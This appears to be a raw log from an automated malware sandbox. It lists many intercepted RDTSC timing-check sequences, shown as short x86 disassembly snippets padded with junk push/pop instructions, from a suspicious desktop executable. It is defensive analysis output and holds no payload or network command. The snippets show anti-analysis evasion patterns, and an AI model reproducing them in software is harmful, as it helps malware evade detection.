Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A422D second address: 6A4231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A338A second address: 6A3390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A3390 second address: 6A3394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A349B second address: 6A349F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A4433 second address: 6A4437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A349F second address: 6A34A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A524C second address: 6A5252 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A4437 second address: 6A444C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jng 00007F48D88430C8h 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F48D88430B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A60DF second address: 6A60E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A53FE second address: 6A5402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A711E second address: 6A7148 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F48D851E9BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F48D851E9C7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A7148 second address: 6A714D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A733F second address: 6A7345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A8425 second address: 6A8429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A7345 second address: 6A7349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A93B3 second address: 6A93B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A8429 second address: 6A844B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F48D851E9C8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A7349 second address: 6A734D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AA126 second address: 6AA140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007F48D851E9BCh 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A844B second address: 6A8451 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AA140 second address: 6AA14A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AA14A second address: 6AA14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AB115 second address: 6AB183 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F48D851E9C4h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F48D851E9B8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov dword ptr [ebp+12471650h], eax 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007F48D851E9B8h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a cld 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f pushad 0x00000050 popad 0x00000051 pushad 0x00000052 popad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AB183 second address: 6AB189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AB189 second address: 6AB18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AA38E second address: 6AA395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AA395 second address: 6AA39B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AD3CB second address: 6AD3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AF9DA second address: 6AF9E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AF9E0 second address: 6AFA0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F48D88430C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AFA0E second address: 6AFA12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 64642C second address: 646430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 646430 second address: 646436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 646436 second address: 64645C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F48D88430C6h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jno 00007F48D88430B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 64645C second address: 646471 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 646471 second address: 64647C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AD538 second address: 6AD53F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AD53F second address: 6AD559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D88430C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6AFB7A second address: 6AFB92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6B32A0 second address: 6B32A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6B5259 second address: 6B5263 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6B5263 second address: 6B5267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6B445B second address: 6B4461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6C0460 second address: 6C0464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 64B357 second address: 64B36E instructions: 0x00000000 rdtsc 0x00000002 js 00007F48D851E9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F48D851E9BAh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6CA95D second address: 6CA97D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F48D88430B6h 0x00000008 jmp 00007F48D88430BCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F48D88430B6h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6CAAF6 second address: 6CAB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F48D851E9B6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6CAB05 second address: 6CAB2C instructions: 0x00000000 rdtsc 0x00000002 js 00007F48D88430B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F48D88430C8h 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6CF6E7 second address: 6CF6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6CFC0D second address: 6CFC19 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jne 00007F48D88430B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6CFC19 second address: 6CFC21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6CFDD7 second address: 6CFDDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6D024B second address: 6D0251 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6D0251 second address: 6D025D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 649821 second address: 64984E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D851E9C1h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F48D851E9C4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 697CEA second address: 697CEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 697CEE second address: 697CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 697CF4 second address: 67B2A1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F48D88430C4h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F48D88430B8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D1C4Ch], ebx 0x0000002f call dword ptr [ebp+122D272Bh] 0x00000035 push ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 jg 00007F48D88430B6h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6982E4 second address: 6982FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F48D851E9BFh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6982FC second address: 69830C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jc 00007F48D88430BCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69830C second address: 698313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 698313 second address: 698326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push esi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 698326 second address: 698344 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F48D851E9C3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 698344 second address: 69835F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F48D88430B6h 0x00000009 js 00007F48D88430B6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69835F second address: 69837B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, 3EDEA10Eh 0x0000000d push E7FC324Dh 0x00000012 jo 00007F48D851E9C4h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69837B second address: 69837F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 698442 second address: 698458 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 698458 second address: 698465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 698465 second address: 698497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F48D851E9B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c xchg eax, esi 0x0000000d mov dword ptr [ebp+122D2487h], esi 0x00000013 nop 0x00000014 pushad 0x00000015 jc 00007F48D851E9B8h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F48D851E9C3h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 698644 second address: 69864A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69864A second address: 69864E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 698EC5 second address: 698EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 698EC9 second address: 698F1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F48D851E9BDh 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push edi 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop edi 0x00000016 pushad 0x00000017 push edx 0x00000018 pop edx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jbe 00007F48D851E9CAh 0x00000029 jmp 00007F48D851E9C4h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 658A56 second address: 658A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6D40B5 second address: 6D40CC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F48D851E9C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6D47FA second address: 6D4800 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6D4800 second address: 6D4809 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6D4981 second address: 6D498D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6D4AF0 second address: 6D4B1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jg 00007F48D851E9D8h 0x0000000d pushad 0x0000000e jmp 00007F48D851E9C4h 0x00000013 jno 00007F48D851E9B6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 65397D second address: 65399C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C9h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 65399C second address: 6539A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6539A0 second address: 6539A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD0D4 second address: 6DD0D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD0D8 second address: 6DD0E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD0E5 second address: 6DD0EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD0EB second address: 6DD0F7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F48D88430B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD250 second address: 6DD254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD254 second address: 6DD258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD258 second address: 6DD262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD262 second address: 6DD27F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D88430C9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD27F second address: 6DD293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9BAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD293 second address: 6DD2A4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jl 00007F48D88430C4h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
